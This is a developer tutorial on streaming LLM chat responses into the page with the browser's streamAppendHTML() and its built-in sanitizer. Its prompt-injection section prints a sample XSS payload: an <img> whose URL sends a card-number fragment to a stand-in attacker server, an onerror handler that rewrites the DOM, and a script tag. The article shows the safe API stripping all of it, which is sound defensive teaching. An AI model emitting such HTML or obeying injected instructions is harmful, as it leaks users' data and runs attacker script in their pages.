Streaming AI Responses as HTML with streamAppendHTML()

Chat UIs that show an LLM's response little by little have to keep rendering an unfinished answer. The simplest implementation parses everything received so far on each chunk and replaces the element's contents. With this approach, the amount of reparsing grows as the response gets longer, and elements are recreated on every update. As a result, text selections are lost and a <details> element you opened snaps shut. That's why real-world chat UIs rely on Markdown libraries that avoid reprocessing the parts that are already finished.

streamAppendHTML() lets you hand part of this work to the browser. You can stream HTML as a string onto the end of an element, and elements that have already been rendered aren't recreated.

This article covers how to use streamAppendHTML() and how its sanitization behaves.

What happens with the traditional implementation

The simplest way to render an LLM response incrementally looks like this: concatenate the incoming strings and set the whole thing on the element each time.

let html = "";
await response.textStream().pipeTo(
  new WritableStream({
    write(chunk) {
      html += chunk;
      element.setHTML(html, { sanitizer });
    },
  }),
);

textStream() is a method that reads the response body as a stream of strings. setHTML() is part of the Sanitizer API, and it sanitizes HTML before replacing the element's contents.

Every time write() is called, this code reparses the response from the beginning and replaces all of the child elements. This causes the following problems:

• The longer the response gets, the longer the string parsed on each update
• State tied to elements, such as an open <details> or a text selection, is lost
• CSS animations restart from the beginning on every update

Techniques used in real-world chat UIs

Chrome's official guide also explains that assigning the accumulated full text to innerHTML is both unsafe and slow. Libraries used in real-world chat UIs assume Markdown responses and use techniques like these:

• Split the response into blocks and memoize them: Streamdown keeps results per unit such as paragraphs and code blocks, and re-renders only the affected blocks when a token arrives
• Use a streaming-aware parser: streaming-markdown processes each chunk and only adds new elements, so it never changes elements that are already displayed
• Complete unfinished syntax: remend, used by Streamdown, completes **bold text into **bold text** before rendering

In Markdown, a single * isn't enough to tell whether you're looking at a list or emphasis. streaming-markdown optimistically creates elements as soon as it sees a marker, and remend fills in the missing markers, so both can render in-between states.

streamAppendHTML() is an API where the browser's HTML parser takes care of holding tags until they're complete and adding elements. You can render without reprocessing the finished parts, and without any memoization mechanism.

The basics of streamAppendHTML()

streamAppendHTML() doesn't take an HTML string. Instead, it returns a WritableStream. When you connect a fetch response to this stream, HTML is parsed onto the end of the element as each chunk arrives.

const response = await fetch("/api/answer");
await response.textStream().pipeTo(element.streamAppendHTML());

Besides streamAppendHTML(), there is a method for each insertion position.

The difference between the safe and unsafe versions is whether they sanitize. By default, the unsafe version doesn't sanitize and parses the HTML as is. The safe version sanitizes by default and removes elements and attributes that could lead to XSS attacks. Since a chat response is appended to the end of an existing element, this article uses streamAppendHTML().

Trying out rendering with streamAppendHTML()

Let's actually try rendering with streamAppendHTML(). For comparison, I also prepared the simplest implementation from earlier, which replaces everything with setHTML(). The following code fetches a response from /api/answer and renders it with streamAppendHTML(). The sanitizer setting is explained later.

const response = await fetch("/api/answer");
await response.textStream().pipeTo(element.streamAppendHTML({ sanitizer }));

In the following video, a <details> element is opened partway through the response.

Both versions display the response at the same speed, but in the setHTML() version the opened <details> closes on the next chunk. In the streamAppendHTML() version, the <details> stays open as more chunks arrive.

Treat LLM output as untrusted input

Streaming rendering carries a risk: LLM output goes straight into the DOM. LLMs read search results, web pages, and documents attached by users as input. By following instructions embedded in those sources, an LLM may output malicious HTML. This attack is called prompt injection.

The following reproduces a case where an LLM, misled by external content, mixes this HTML into its response. The <img> URL includes information from the conversation and sends it to an attacker's server on a different origin. The attacker's server returns a 404, so onerror fires and rewrites the page's DOM.

<p>検索結果を要約しました。来月の請求額は <strong>12,800 円</strong> です。</p>
<img
  src="http://localhost:3001/collect?memo=credit-card-ending-4242"
  onerror="document.querySelector('#unsafe').insertAdjacentHTML('beforebegin','<p class=hacked>このページで攻撃者のスクリプトが実行されました</p>')"
/>
<script>
  document.title = "pwned";
</script>
<p>ほかに確認したい項目はありますか？</p>

The left side renders the response with streamAppendHTMLUnsafe(), and the right side renders the same response with streamAppendHTML().

With streamAppendHTML(), the <img> and <script> are removed and only the text of the response is rendered. With streamAppendHTMLUnsafe(), on the other hand, the <img> is rendered, onerror runs, and the DOM gets rewritten.

Note that even in the streamAppendHTMLUnsafe() version, the <script> doesn't run. That's because the unsafe version's runScripts option defaults to false.

What the default sanitizer removes

The safe version's sanitizer option defaults to "default", which uses the configuration built into the browser. This configuration goes beyond preventing XSS and removes many elements and attributes through an allowlist. Here are the actual results I confirmed in Chrome 158 Beta and Chrome 159.

You can get the list of allowed elements and attributes by running new Sanitizer().get().

const sanitizer = new Sanitizer();
console.log(sanitizer.get());
// {
//   attributes: [...],
//   elements: [...],
//   comments: false,
//   dataAttributes: false,
//   processingInstructions: [],
// }

Narrowing down the allowed elements

If you know which elements your chat responses use, listing them in a Sanitizer reduces the elements available to an attacker. The comparison demo actually uses the following configuration. <details> is removed by default, so it's explicitly allowed here.

const sanitizer = new Sanitizer({
  elements: [
    "h2", "h3", "p", "ul", "ol", "li", "pre", "code", "strong", "em",
    "blockquote", "details", "summary",
    { name: "a", attributes: ["href"] },
  ],
});
 
await response.textStream().pipeTo(element.streamAppendHTML({ sanitizer }));

The safe version won't let through anything that leads to XSS, even if the configuration allows it. For example, specifying "script" in elements still removes <script>.

Stopping response generation

A "Stop generating" button in a chat UI can be implemented with AbortController. Pass the same signal to both fetch() and pipeTo().

const controller = new AbortController();
stopButton.addEventListener("click", () => controller.abort());
 
try {
  const response = await fetch("/api/answer", { signal: controller.signal });
  await response
    .textStream()
    .pipeTo(element.streamAppendHTML(), { signal: controller.signal });
} catch (error) {
  // Don't surface a user-initiated abort as an error
  if (error.name !== "AbortError") throw error;
}

When aborted, the pipeTo() promise rejects with an AbortError. When I aborted after receiving up to <p>one<ul><li>two, the DOM stayed at <p>one</p><ul><li>two</li></ul>, the same as before the abort. Even without closing tags, what has already been rendered doesn't break.

The following video shows clicking "Stop generating" partway through a response, which raises an AbortError. The rest of the response isn't rendered, but what was rendered so far stays in place.

Summary

• streamAppendHTML() returns a WritableStream, and response.textStream().pipeTo(element.streamAppendHTML()) incrementally parses HTML onto the end of an element
• Markdown libraries tackle the problems of full replacement with block memoization and streaming parsers, while with streamAppendHTML() the browser handles similar work for HTML
• The parser holds on to chunks cut off in the middle of a tag, so incomplete tags don't appear in the DOM
• LLM output is exposed to prompt injection, so treat it as untrusted input and render it with the safe version
• streamAppendHTMLUnsafe() doesn't sanitize by default, so event handler attributes such as onerror run. <script> doesn't run because runScripts defaults to false
• The default sanitizer also removes <img>, <details>, and class, so specify the elements you need in the Sanitizer allowlist

References

• declarative partial updates | Chrome for Developers
• Chrome 155 beta | Chrome for Developers
• Best practices to render streamed LLM responses | Chrome for Developers
• Memoization | Streamdown
• thetarnav/streaming-markdown
• Dynamic markup revamped explainer
• Add streaming HTML insertion methods - whatwg/html#12758
• A way to stream content into an element - whatwg/html#2142
• Coherent story for HTML-setting methods - whatwg/html#11669
• Streaming sanitizer support - whatwg/html#12543
• Intent to Ship: Renewed HTML insertion&streaming methods